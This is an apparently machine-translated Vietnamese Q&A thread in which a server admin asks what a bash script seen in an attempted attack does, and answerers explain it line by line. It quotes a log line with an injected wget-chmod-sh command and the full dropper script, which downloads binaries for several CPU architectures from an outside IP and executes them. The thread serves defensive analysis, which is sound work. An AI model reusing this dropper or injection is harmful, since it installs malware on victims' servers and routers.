Kịch bản bash này làm gì? [Nỗ lực hack]


31

Tôi đã nhận thấy trên nhật ký apache máy chủ của tôi, những dòng lạ sau đây:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Vì vậy, tôi đã tạo bộ lọc Fail2Ban tùy chỉnh và bắt đầu cấm các IP yêu cầu các URL /login.cgi này.

Nhưng tôi tò mò không biết họ đang cố gắng làm gì, vì vậy tôi đã rút ra kịch bản mà họ đang cố thực hiện và dường như tôi không thể biết chính xác nó làm gì. Một cái gì đó về việc loại bỏ các thư mục vòm trong / var và / tmp?

Dù sao, đây là:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done

4
Lỗ

1
Làm thế nào mà kịch bản có được trên máy chủ của bạn ở nơi đầu tiên?
MrWhite

3
Tôi chỉ cần mở tệp .sh trong một trình duyệt trên máy tính ở nhà của tôi và sao chép và dán nó vào đây, nó không bao giờ thực sự có trên máy chủ của tôi.
ndom91

1
Kịch bản này là một 'trình nhỏ giọt', được sử dụng để tải xuống tập lệnh khai thác thực tế. Điều này sẽ được đặt tại hxxp://80.211.173.159:80/$namenơi $namelà mỗi người trong số các kiến trúc CPU trong bin_names. Vì vậy, 7 tập lệnh tấn công sẽ được tải xuống và thực thi
BlueCacti

Câu trả lời:


42

Từng dòng:

#!/bin/sh

Thiết lập shvỏ, bất kể đó là dòng shebang. sh%20/tmp/kstrong yêu cầu ghi đè lên điều này, vì vậy dòng này được coi là một nhận xét bình thường và bị bỏ qua.

u="asgknskjdgn"

Khai báo một tên tùy ý, có lẽ để tránh va chạm với các tên tệp khác. Tôi không chắc tại sao họ sẽ không sử dụng mktemp, nhưng có lẽ điều đó không có sẵn trên tất cả các nền tảng.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Liệt kê một số kiến ​​trúc CPU phổ biến.

http_server="80.211.173.159"
http_port=80

Các máy chủ có khai thác.

cd /tmp/||cd /var/

Cố gắng thay đổi thư mục đến một nơi nào đó máy chủ web của bạn có khả năng có thể tạo tệp. Tôi tin rằng SELinux sẽ giúp với điều này, bằng cách thực thi các quy tắc chặt chẽ hơn nhiều về những gì máy chủ web có thể làm hơn là hệ thống tệp tự làm.

for name in $bin_names
    do

Đối với mỗi kiến ​​trúc CPU

    rm -rf $u

Loại bỏ các chương trình khai thác đã cố gắng trước đây. Không cần thiết vì dòng tiếp theo, vì vậy có thể bỏ qua.

    cp $SHELL $u

Sao chép shell hiện hành ( /bin/sh). Có thể bỏ qua vì dòng sau.

    chmod 777 $u

Làm cho tất cả mọi người có quyền truy cập đầy đủ vào các tập tin mới. Điều này đáng lẽ phải có sau wgetlệnh, đó là dấu hiệu của một người mới viết kịch bản shell hoặc một kỹ thuật đánh giá sai.

    >$u

Làm trống các tập tin. Vô nghĩa vì dòng tiếp theo.

    wget http://$http_server:$http_port/$name -O -> $u

Ghi đè tập tin với tập lệnh khai thác cho kiến ​​trúc này. -O -> $ucó thể đã được viết -O - > $u(dấu gạch nối chỉ ra rằng tải xuống nên được ghi vào đầu ra tiêu chuẩn) tương đương với -O $u.

    ./$u $name

Chạy kịch bản khai thác với kiến ​​trúc là đối số đầu tiên.

done

Kết thúc vòng lặp.

Có vẻ như đây là một kịch bản cố gắng khai thác tầm thường, thử các khai thác đã biết đối với các nền tảng CPU khác nhau. Tôi không biết tại sao nó ghi đè lên $uba lần, nhưng các thao tác đó có thể chỉ đơn giản là từ một lần lặp trước của tập lệnh. Có lẽ phiên bản trước đó đã khai thác được mã hóa cứng thay vì phục vụ động - phiên bản trước dễ hơn nhưng hầu như đảm bảo rằng tập lệnh sẽ kém hiệu quả hơn theo thời gian do lỗi được vá.


21
Có một lợi thế để rm'ing tập tin một cách rõ ràng. Nếu đích đã tồn tại và đang được thực thi ngay bây giờ, kernel sẽ không cho phép bạn mở tệp để ghi (-ETXTBSY). Tuy nhiên, đổi tên hoặc xóa một chương trình đang chạy được cho phép.
grawity

Những gì ->trong wgetlệnh làm gì? Tại sao không chỉ wget ... -O $u?
RonJohn

1
@RonJohn đọc nó là- >
con mèo

5
Với -O->filename, filenamekhông hiển thị trong đầu ra của ps ax . Đó có thể là một lợi thế để làm cho việc sửa lỗi khó hơn.
pts

1
Cung cpcấp cho bạn một tập tin thực thi. Có thể hữu ích nếu chmodthất bại? Chỉnh sửa: cho rằng rõ ràng mục tiêu này nhắm mục tiêu bộ định tuyến, nó hoàn toàn có thể chmodkhông tồn tại.
Bob

12

Đây wgetlà dòng nguy hiểm quan trọng.

Công for name in $bin_namesviệc này đang hoạt động thông qua danh sách các nền tảng và đối với mỗi nền tảng, nó đang xóa một thư mục tạm thời, sao chép một vỏ và sau đó làm cho mọi người có thể truy cập được.

Sau đó, nó tải xuống một tập tin bằng cách sử dụng wget và sau đó thực thi nó bằng chương trình shell mà nó vừa sao chép.

Kịch bản về cơ bản là cố gắng tải xuống một loạt các tập lệnh hoặc tập lệnh cho mọi nền tảng có thể và cọ xát chúng với hệ thống của bạn với hy vọng rằng nó có thể làm tổn hại thêm đến hệ thống của bạn.


6
cọ xát == chạy?
Barmar

5
@Barmar Tôi chắc chắn đó là cố ý: P
Canada Luke REINSTATE MONICA
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.